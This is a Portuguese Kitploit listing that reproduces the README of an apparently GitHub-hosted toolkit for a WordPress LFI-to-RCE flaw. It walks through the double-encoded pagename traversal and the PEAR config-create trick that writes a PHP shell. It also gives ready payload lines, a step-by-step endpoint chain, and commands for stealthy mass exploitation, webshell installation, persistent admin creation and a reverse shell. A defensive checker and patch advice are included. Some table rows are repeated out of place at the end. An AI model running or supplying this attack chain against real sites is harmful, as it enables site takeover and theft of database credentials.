Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-87902-Toolkit — WordPress CVE-2026-87902 kit de ferramentas LFI-to-RCE com uma cadeia de exploração weaponizada (PEAR RCE, webshell, criação de admin, loot) e uma versão SafeChecker não intrusiva e auditor de risco. | Kitploit
Ferramentas/GitHubGitHub/tc4dy/cve-2026-87902-toolkit
Ferramentas DefensivasScanners de VulnerabilidadesGeração de PayloadsExploraçãoEngenharia ReversaExploração de Aplicações WebPós-ExploraçãoSegurança WebTestes de Penetração

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Aprendizado e Educação
Red Teaming
GitHubtc4dy/cve-2026-87902-toolkit

CVE-2026-87902-Toolkit

WordPress CVE-2026-87902 kit de ferramentas LFI-to-RCE com uma cadeia de exploração weaponizada (PEAR RCE, webshell, criação de admin, loot) e uma versão SafeChecker não intrusiva e auditor de risco.

Ver Repositório
12há 22h 1mAinda não revisado
Compartilhar

CVEPoC

CVE‑2026‑87902 – WordPress Unauth LFI→RCE Toolkit

Python 3.8+ CVSS Author WordPress

USO EXCLUSIVAMENTE ÉTICO – TESTES DE SEGURANÇA AUTORIZADOS
Este repositório fornece ferramentas apenas para profissionais de segurança autorizados, blue teams e testadores de penetração.
O acesso não autorizado a sistemas de computador é ilegal sob a CFAA (EUA), Computer Misuse Act (Reino Unido), TCK 243/244 (Turquia) e leis similares em todo o mundo.


📖 Visão Geral da Vulnerabilidade

é uma vulnerabilidade crítica de path traversal e inclusão local de arquivos (LFI) não autenticada no (versões até ) que permite a um atacante não autenticado incluir arquivos locais arbitrários através do parâmetro de consulta e, sob condições específicas de servidor, escalar para encadeando o arquivo PEAR . Pontuação CVSS: . Divulgada por através do programa HackerOne do WordPress em julho de 2026. Corrigida na em 22 de setembro de 2026, com backports até a 4.7 .

CVE‑2026‑87902
WordPress Core
4.7.0
7.1.1
.php
pagename
execução remota de código (RCE)
pearcmd.php
9.2 (Crítica)
Robert Ressl
7.1.2

A falha afeta todas as versões do WordPress desde 2016 — uma década de versões que passaram pela revisão de código sem detecção. A causa raiz é uma única chamada de validação ausente em um dos caminhos de código mais percorridos do CMS .

Como funciona

  1. Resolução de template não sanitizada – get_page_template() em wp-includes/template.php constrói candidatos a template a partir da variável de consulta pagename. Um caminho de código vizinho na mesma função aplica validate_file() para bloquear sequências ../, mas o ramo $pagename não a chama. Qualquer traversal em pagename passa sem verificação .

  2. Bypass de traversal com dupla codificação – O WordPress aplica sanitize_title_for_query() a pagename, que substitui pontos literais (.) por hífens para prevenir traversal. Mas a função opera sobre entrada já decodificada e não decodifica recursivamente. Um atacante envia %252e%252e%252f; o servidor web decodifica uma vez para %2e%2e%2f; o sanitizador não vê pontos literais e deixa passar; então get_page_template() chama urldecode() novamente dentro da função, produzindo ../ .

  3. Pré-condição do diretório de tema – O tema ativo deve conter um diretório de nível superior cujo nome comece com page- (por exemplo, page-templates/). O nome de arquivo construído page-{pagename}.php então escapa da raiz do tema via traversal. Temas padrão mais antigos (Twenty Twelve, Twenty Fourteen) e temas populares de terceiros (Neve, Hestia, Sydney) incluem esse diretório. Temas filhos que herdam de tais pais também satisfazem a pré-condição .

  4. Sink de LFI em locate_template() – O caminho candidato é passado para locate_template(), que pesquisa nos diretórios de temas. Como o traversal resolve para um arquivo fora desses diretórios, e a função verifica apenas file_exists(), qualquer arquivo .php legível é incluído com privilégios totais do servidor web. Isso torna a LFI incondicional em qualquer site não corrigido que atenda à pré-condição de tema — incluindo wp-config.php com suas credenciais de banco de dados e salts de autenticação .

  5. Escalação para RCE via PEAR pearcmd.php – O PEAR acompanha muitas instalações PHP. Seu pearcmd.php é normalmente apenas CLI, mas quando register_argc_argv=On, o PHP preenche $_SERVER['argv'] a partir da query string da URL. O atacante inclui pearcmd.php via LFI, passa config-create como argumento e fornece código PHP mais um caminho de saída (/tmp/shell.php). O PEAR grava o código do atacante em disco; uma segunda inclusão o executa .

  6. Segunda rota de exploração – Uma requisição combinando name (slug da página inicial), page_id (ID da página de posts), preview=true e um payload pagename desvia o WP_Query para seu ramo post_name, que nunca reescreve pagename através de sanitize_title_for_query(). Isso permite pontos literais no traversal. Requer um tema sem single.php .

  7. Requisitos de configuração do servidor – O RCE depende de duas condições comuns em implantações reais: pearcmd.php presente/legível (frequente em hospedagem compartilhada, cPanel, imagens Docker oficiais do PHP) e register_argc_argv=On (padrão no PHP abaixo de 8.5). O PHP 8.5 mudou o padrão para Off. Em um servidor moderno PHP 8.5+ sem PEAR, a exploração para na LFI .

  8. A correção – O WordPress 7.1.2 adiciona duas camadas de defesa: (a) a chamada ausente de validate_file() no ramo pagename, e (b) uma nova função _wp_is_template_path_allowed() chamada por locate_template() para cada template resolvido. A função rejeita caminhos contendo .., então resolve o caminho real via realpath() e verifica se ele está dentro de um dos diretórios de tema permitidos. Essa defesa em profundidade fecha o sink, não apenas uma rota para ele .

  9. Exploração ativa em campo – Primeiras requisições maliciosas observadas 5 horas após o lançamento da correção (17:44 UTC, 22 de setembro de 2026). O tráfego aumentou dez vezes no dia seguinte. Três estágios observados: reconhecimento config-show → detecção de arquivo core → weaponização config-create. Nomes de arquivos de payload incluíram wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, gravados em /tmp e /var/tmp. IPs atacantes: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b .

  10. Impacto – Execução de código com privilégios do servidor web. Tomada completa do site, roubo de credenciais do wp-config.php, exfiltração de dados, instalação de webshell, criação de usuário admin, reverse shell, ataques à cadeia de suprimentos via plugins/temas modificados e movimento lateral para serviços conectados. A pontuação CVSS 9.2 reflete impacto explorável pela rede, sem autenticação, alto impacto de confidencialidade/integridade/disponibilidade. A alta complexidade de ataque reflete as pré-condições de tema e servidor, mas em hospedagem compartilhada típica essas condições são frequentemente atendidas.

Versões Afetadas

  • 4.7.0 – 4.7.37 – vulnerável
  • 4.8.0 – 4.8.32 – vulnerável
  • 4.9.0 – 4.9.33 – vulnerável
  • 5.0.0 – 5.0.29 – vulnerável
  • 5.1.0 – 5.1.26 – vulnerável
  • 5.2.0 – 5.2.28 – vulnerável
  • 5.3.0 – 5.3.25 – vulnerável
  • 5.4.0 – 5.4.23 – vulnerável
  • 5.5.0 – 5.5.22 – vulnerável
  • 5.6.0 – 5.6.21 – vulnerável
  • 5.7.0 – 5.7.19 – vulnerável
  • 5.8.0 – 5.8.17 – vulnerável
  • 5.9.0 – 5.9.18 – vulnerável
  • 6.0.0 – 6.0.16 – vulnerável
  • 6.1.0 – 6.1.14 – vulnerável
  • 6.2.0 – 6.2.13 – vulnerável
  • 6.3.0 – 6.3.12 – vulnerável
  • 6.4.0 – 6.4.12 – vulnerável
  • 6.5.0 – 6.5.12 – vulnerável
  • 6.6.0 – 6.6.9 – vulnerável
  • 6.7.0 – 6.7.9 – vulnerável
  • 6.8.0 – 6.8.10 – vulnerável
  • 6.9.0 – 6.9.9 – vulnerável
  • 7.0.0 – 7.0.6 – vulnerável
  • 7.1.0 – 7.1.1 – vulnerável

Correção

  • Atualize para 4.7.37, 4.8.32, 4.9.33, 5.0.29, 5.1.26, 5.2.28, 5.3.25, 5.4.23, 5.5.22, 5.6.21, 5.7.19, 5.8.17, 5.9.18, 6.0.16, 6.1.14, 6.2.13, 6.3.12, 6.4.12, 6.5.12, 6.6.9, 6.7.9, 6.8.10, 6.9.9, 7.0.6 ou 7.1.2 ou mais recente.
  • Se a atualização não for possível, renomeie ou remova o diretório page-* no tema ativo, defina register_argc_argv=Off no php.ini e bloqueie traversal com dupla codificação no parâmetro pagename no nível do WAF.

[<->] Ferramentas

FerramentaPropósitoUsuário Pretendido
exploit.pyToolkit completo weaponizado com detecção de LFI, cadeia de RCE via PEAR, criação de usuário admin, instalação de webshell, reverse shell, varredura em massa, modo stealth, rotação de proxy e cadeia de ataque completa.Red teams / pentesters autorizados
safecheck.pyVerificador de vulnerabilidade não intrusivo que detecta a versão do WordPress, valida a exposição e avalia o risco sem incluir nenhum arquivo ou executar qualquer payload. Gera relatórios JSON.Blue teams / auditores de segurança

[</>] Comparação de Recursos

Recursoexploit.pysafecheck.py
Detecção de vulnerabilidade✅✅
Detecção de versão✅✅
Verificação do diretório page-* do tema✅✅
Alcance do PEAR pearcmd.php✅✅
Verificação de register_argc_argv✅✅
Sonda de comportamento do WAF❌✅
Sonda de LFI com dupla codificação✅❌
RCE via PEAR config-create✅❌
Criação de usuário admin✅❌
Instalação de webshell✅❌
Reverse shell✅❌
Coleta de wp-config.php✅❌
Cadeia de ataque completa✅❌
Varredura em massa (multi-thread)✅✅
Suporte a proxy✅✅
Rotação de proxy✅❌
Rotação de User‑Agent (OPSEC)✅❌
Jitter (OPSEC)✅❌
Limitador de taxa✅❌
Modo não intrusivo (seguro)❌✅
Relatório de avaliação de risco✅✅

[+] Resumo de Casos de Uso

CenárioFerramenta Recomendada
Blue Team – verificar se seu WordPress é vulnerávelsafecheck.py
Auditoria de Segurança – avaliação de vulnerabilidade não intrusivasafecheck.py
Red Team – teste de penetração autorizado com exploração completaexploit.py
Bug Bounty – testes de divulgação responsávelsafecheck.py
Varredura em Massa – verificar múltiplos alvos quanto à vulnerabilidadeexploit.py (somente detecção)
Resposta a Incidentes – verificar se os sistemas foram comprometidossafecheck.py

[+] Instalação

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3

[/] Parâmetros

Parâmetros do exploit.py

ParâmetroDescrição
-u, --urlURL única do WordPress alvo (ex.: http://wordpress.example.com)
-f, --fileArquivo contendo lista de alvos (um por linha) para varredura em massa
--pipeLer alvos do stdin
--exploitRealizar exploração após a detecção
--create-adminCriar usuário admin persistente (formato: USER:PASS)
--webshellInstalar webshell via RCE
--reverse-shellAcionar reverse shell (formato: LHOST:LPORT)
--lootColetar wp-config.php e outros arquivos
--threadsNúmero de threads para múltiplos alvos (padrão: 8)
--timeoutTimeout da requisição (padrão: 15s)
--retryMáximo de tentativas (padrão: 3)
--proxyProxy HTTP/HTTPS (ex.: http://127.0.0.1:8080)
--proxy-listArquivo com proxies para rotação (um por linha)
--proxy-rotateEstratégia de rotação de proxy (round-robin, random, sticky)
--jitterJitter aleatório entre requisições
--jitter-rangeJitter mín,máx segundos (padrão: 0.1,2.0)
--delayAtraso fixo entre requisições
--stealthAtivar modo stealth (rotação de UA + jitter)
--insecureDesativar verificação TLS
--user-agentUser-Agent personalizado

Parâmetros do safecheck.py

ParâmetroDescrição
-u, --urlURL única do WordPress alvo (ex.: http://wordpress.example.com)
-f, --fileArquivo contendo lista de alvos (um por linha)
--pipeLer alvos do stdin
-t, --threadsNúmero de threads para múltiplos alvos (padrão: 8)
--timeoutTimeout da requisição (padrão: 15s)
--retryMáximo de tentativas (padrão: 3)
--proxyProxy HTTP/HTTPS
--jitterJitter aleatório entre requisições
--jitter-rangeJitter mín,máx segundos (padrão: 0.1,2.0)
--delayAtraso fixo entre requisições
--insecureDesativar verificação TLS
--user-agentUser-Agent personalizado
--max-bodyTamanho máximo do corpo da resposta
--concurrent-per-hostMáximo de requisições concorrentes por host
--excludeHosts a excluir, separados por vírgula
-o, --outputSalvar relatório JSON em arquivo (.json, .csv, .html, .jsonl)
--dbArquivo de banco de dados SQLite
-v, --verboseSaída detalhada
-q, --quietModo silencioso
--no-bannerSuprimir banner

[>] Cenários

#CenárioComando
1Verificação rápida de vulnerabilidadepython safecheck.py -u http://wordpress.example.com
2Varredura detalhada com relatóriopython safecheck.py -u http://wordpress.example.com -o report.json -v
3Auditoria em massa a partir de arquivopython safecheck.py -f targets.txt -t 10 -o audit.json
4Exploit somente detecçãopython exploit.py -u http://wordpress.example.com
5Coletar wp-config.phppython exploit.py -u http://wordpress.example.com --exploit --loot
6Ataque completo com webshellpython exploit.py -u http://wordpress.example.com --exploit --webshell
7Criar usuário admin persistentepython exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1
8Reverse shellpython exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444
9Cadeia de ataque completapython exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1
10Exploit em massa com stealthpython exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json
11Rotação de proxypython exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit

🧪 Endpoint & Cadeia de Exploração

O exploit usa os seguintes endpoints do WordPress e etapas de exploração:

EtapaMétodoEndpointDescrição
1. FingerprintGET/Detectar WordPress via wp-content, wp-includes, wp-json
2. VersãoGET/feed/Extrair versão via meta <generator>
3. Page IDGET/wp-json/wp/v2/pagesDescobrir um page_id válido
4. Diretório do TemaGET/wp-content/themes/{theme}/page-templates/Confirmar pré-condição page-*
5. Sonda LFIGET/?page_id={id}&pagename={payload}Traversal com dupla codificação para incluir arquivo local
6. Inclusão PEARGET/?page_id={id}&pagename={pearcmd}Incluir pearcmd.php
7. RCE via PEARGET/?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile}Gravar arquivo PHP via PEAR
8. ExecutarGET/?page_id={id}&pagename={outfile}Incluir arquivo gravado → RCE
9. PersistirGET(via RCE)Criar usuário admin / webshell
10. ColetarGET/?page_id={id}&pagename={wp-config}Ler wp-config.php via LFI

Formato do Payload

root@kitploit:~
# Exemplo de traversal com dupla codificação
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd

# Cadeia de RCE via PEAR config-create
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php

# Gatilho de inclusão PEAR
GET /?page_id=2&pagename={encoded_output_path}

🛡️ Uso Responsável

  • Use estas ferramentas apenas em sistemas que você possui ou tem permissão escrita explícita para testar.
  • O acesso não autorizado é ilegal e antiético.
  • Os autores não são responsáveis por qualquer uso indevido.
  • Sempre siga as leis e regulamentos do seu país.

Este software é fornecido apenas para fins educacionais e testes de segurança autorizados.

Baixar ferramenta
Recomendações de mitigação❌✅
Relatório JSON✅✅
Relatório CSV✅✅
Relatório HTML✅✅
Saída SQLite✅✅
User‑Agent personalizado✅✅
Controle de verificação SSL✅✅
--max-bodyTamanho máximo do corpo da resposta
--concurrent-per-hostMáximo de requisições concorrentes por host
--rate-limitMáximo de requisições por segundo
--excludeHosts a excluir, separados por vírgula
-o, --outputSalvar relatório em arquivo (.json, .csv, .html, .jsonl)
--dbArquivo de banco de dados SQLite
-v, --verboseSaída detalhada
-q, --quietModo silencioso
--no-bannerSuprimir banner